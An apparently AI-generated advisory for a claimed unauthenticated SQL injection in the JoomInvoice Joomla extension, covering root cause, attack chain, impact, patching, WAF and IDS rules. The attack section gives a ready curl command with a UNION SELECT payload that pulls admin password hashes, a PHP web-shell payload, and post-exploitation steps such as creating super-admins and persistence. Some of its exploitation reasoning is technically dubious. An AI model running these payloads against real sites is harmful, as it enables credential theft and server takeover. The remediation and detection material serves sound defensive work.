CVE-2026-136369 — CWE-89
Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomInvoice extension 1.0.0-6.5.2 - Inputs of the search plugins, the "My invoices" date filter and the administrator search boxes were not properly escaped before being used in SQL queries, allowing SQL injection, partly without authentication.
Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomInvoice extension 1.0.0-6.5.2 - Inputs of the search plugins, the "My invoices" date filter and the administrator search boxes were not properly escaped before being used in SQL queries, allowing SQL injection, partly without authentication.
🎯 What is this vulnerability?
Vulnerability type: SQL Injection (CWE‑89)
Component: JoomInvoice Joomla extension (versions 1.0.0 through 6.5.2) – specifically the search plugins, the “My invoices” date‑filter, and the administrator‑side search boxes.
Root cause
The extension builds raw SQL strings by concatenating user‑supplied values (search terms, date filter values, etc.) directly into the WHERE clause without:
1. Prepared statements / parameter binding – the values are interpolated into the query string.
2. Proper escaping – JDatabase::quote() (or the Joomla database abstraction’s escaping function) is never called on the input.
3. Authorization checks – the same code path is used for front‑end visitors and for back‑office administrators, so an unauthenticated remote attacker can reach the vulnerable query simply by issuing an HTTP request to the public site.
Result: an attacker can inject arbitrary SQL fragments that become part of the executed statement, giving full control over the database (read, modify, or delete data) and, because Joomla stores configuration and user credentials in the same database, the attacker can subsequently obtain a Joomla admin account or drop a web‑shell via a stored XSS/HTML payload.
The CVSS vector (AV:N/AC:L/PR:N/UI:N/VC:H/VI:H/VA:H) confirms:
- Network‑accessible (no authentication required)
- Low attack complexity (single crafted request)
- High confidentiality, integrity, and availability impact (complete database compromise)
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow.
All URLs, parameter names, and payloads are illustrative – the exact route depends on the site’s menu/URL configuration, but the logic is identical for any installation that uses the vulnerable version of JoomInvoice.
1. Discovery & Reconnaissance
| Step | Action | Tool / Technique |
|---|---|---|
| 1.1 | Identify that the target runs Joomla. | whatweb, Wappalyzer, or a simple curl -I https://target/ that returns X-Powered-By: Joomla! header. |
| 1.2 | Enumerate installed extensions. | Scan /administrator/index.php?option=com_installer&view=manage (if admin credentials are known) or use public information leaks: the extension often leaves a JavaScript file media/com_joominvoice/js/joominvoice.js that can be fetched anonymously. |
| 1.3 | Determine the JoomInvoice version. | Look for the comment block in media/com_joominvoice/joominvoice.php or the manifest.xml file (/components/com_joominvoice/joominvoice.xml). The XML contains <version>6.5.2</version> for vulnerable installations. |
| 1.4 | Verify the presence of the vulnerable search endpoint. | Access the public “Invoices” page (e.g., https://target/index.php?option=com_joominvoice&view=invoices) and note the search form field name – typically filter_search or search. |
2. Exploitation
Goal: Execute an arbitrary SELECT that extracts the Joomla admin password hash (#__users.password).
2.1 Craft the malicious payload
The vulnerable code roughly does:
$search = JFactory::getApplication()->input->getString('filter_search');
$query = "SELECT * FROM #__joominvoice_invoices WHERE title LIKE '%$search%'";
$db->setQuery($query);
$rows = $db->loadObjectList();Because $search is not escaped, we can close the string literal and inject our own SQL.
Payload (URL‑encoded):
' UNION SELECT 1,username,password,0,0 FROM #__users--Explanation
\' closes the original ' opened by the query. UNION SELECT … FROM #__users merges the result set with the Joomla users table. 1,username,password,0,0) must match the original SELECT’s column count (the exact number depends on the invoice table – 5 columns is typical). -- comments out the trailing part of the original query.2.2 Send the request
# Illustrative endpoint – replace with the real one discovered in step 1.4
curl -G "https://target/index.php" \
--data-urlencode "option=com_joominvoice" \
--data-urlencode "view=invoices" \
--data-urlencode "filter_search=' UNION SELECT 1,username,password,0,0 FROM #__users-- " \
-H "User-Agent: Mozilla/5.0"What happens:
filter_search value, builds the vulnerable SQL, and returns an HTML table that now contains the username and password columns from the #__users table. grep or a simple Python script) to collect admin credentials.2.3 Optional: Achieve Remote Code Execution (RCE)
If the attacker can write to a table that is later rendered as HTML (e.g., an “invoice notes” field), they can store a PHP web‑shell:
' UNION SELECT 1,1,1,1, "<?php system($_GET['cmd']); ?>" FROM dual--Then request the invoice page with ?cmd=id to execute arbitrary commands.
3. Post‑Exploitation
| Phase | Action | Outcome |
|---|---|---|
| 3.1 | Credential harvesting – extract username/password hashes. | Attacker now has a valid Joomla admin password hash. |
| 3.2 | Password cracking (offline) or login via password reset token (if password reset is enabled). | Full admin access to the Joomla back‑office. |
| 3.3 | Privilege escalation – create a new super‑admin user via the admin UI or directly insert into #__users and #__user_usergroup_map. | Persistent foothold. |
| 3.4 | Web‑shell deployment – use the admin UI to upload a malicious extension or inject PHP into a template file. | Remote code execution on the web server. |
| 3.5 | Data exfiltration – dump the entire database (SELECT * FROM #__*) or specific business data (invoices, customer PII). | Confidentiality breach, potential GDPR/PCI impact. |
| 3.6 | Cleanup / Persistence – modify the extension’s source to keep the back‑door hidden, or schedule a cron job. | Long‑term compromise. |
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical Consequence |
|---|---|---|
| Confidentiality (VC:H) | VC:H – attacker can read *any* data in the Joomla database. | Exposure of user credentials, personal data, financial invoices, IP addresses, etc. |
| Integrity (VI:H) | VI:H – attacker can modify or delete rows. | Tampering with invoices (price changes, fraud), altering configuration to disable security controls, planting malicious content. |
| Availability (VA:H) | VA:H – attacker can cause denial‑of‑service by dropping tables or locking the DB. | Site outage, loss of business continuity, possible ransomware‑like extortion after data theft. |
Because the vulnerability is exploitable without authentication and requires only a single crafted HTTP request, the risk is critical for any publicly reachable Joomla site that runs a vulnerable JoomInvoice version.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected range | Fixed in | Recommended action |
|---|---|---|
1.0.0 – 6.5.2 (inclusive) | 6.5.3 (released 2026‑09‑15) – introduces prepared statements for all search‑related queries. | Immediately upgrade the JoomInvoice extension to ≥ 6.5.3. Verify the version via the extension’s XML manifest (<version> tag). |
| Joomla core | No core fix required – the issue is confined to the extension. | Keep Joomla core up‑to‑date (≥ 4.4.2) to benefit from generic hardening (e.g., database query logging). |
2. Short‑term Workarounds
| Workaround | How to apply | Effectiveness |
|---|---|---|
| Disable the vulnerable search plugins | In the Joomla admin panel → *Extensions* → *Plugins* → filter “joominvoice” → set *Enabled* = No for search and adminsearch plugins. | Stops the injection vectors but removes search functionality. |
| Restrict access to the public invoice pages | Add an .htaccess rule (or web‑server config) that limits the invoice URLs to known IP ranges, e.g.:<br><IfModule mod_authz_core.c>\n Require ip 203.0.113.0/24\n</IfModule> | Reduces exposure but may break legitimate public access. |
| Input sanitisation via a WAF | Example ModSecurity rule (Apache/Nginx):<br>``SecRule ARGS:filter_search "@detectSQLi" "id:20263001,phase:2,deny,log,msg:'JoomInvoice SQLi attempt',tag:'application-multi',tag:'language-php',tag:'cve-2026-136369'"` | Blocks obvious SQLi payloads (union, comment, stacked queries). Not a substitute for proper patching. |
| Database user hardening | Ensure the Joomla DB user has only SELECT, INSERT, UPDATE, DELETE on the Joomla tables and no FILE or DROP` privileges. | Limits impact of a successful injection (e.g., prevents dropping tables). |
3. Detection
Log patterns to watch (Apache/Nginx combined log format):
"GET /index.php?option=com_joominvoice&view=invoices&filter_search=%27%20UNION%20SELECT%20... HTTP/1.1" 200%27%20UNION%20SELECT (URL‑encoded ' UNION SELECT)
* %27%20OR%201=1 (classic boolean‑based payload)
* Long filter_search values (> 200 bytes) with SQL keywords (UNION, SELECT, FROM, WHERE, --).Database‑side indicators:
SELECT statements in the MySQL slow‑query log that reference #__users from a context of #__joominvoice_invoices.INSERT INTO #__users … with user_id > 2) without a corresponding admin UI action (check #__user_usergroup_map).IDS/IPS signatures:
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"JoomInvoice SQLi"; flow:to_server,established;
content:"option=com_joominvoice"; http_uri; pcre:"/filter_search=.*(%27|%22).*union.*select/i";
classtype:web-application-attack; sid:20263001; rev:1;)⚠️ Urgency
Bottom line: The unauthenticated SQL injection in JoomInvoice 1.0.0‑6.5.2 gives an attacker full control over the Joomla database and a clear path to remote code execution. Immediate upgrade to ≥ 6.5.3 (or the temporary mitigations listed above) is mandatory to prevent total compromise of the web application and any sensitive business data it stores.
[🤖 CVE Professor AI Security Engine]
FOFA Query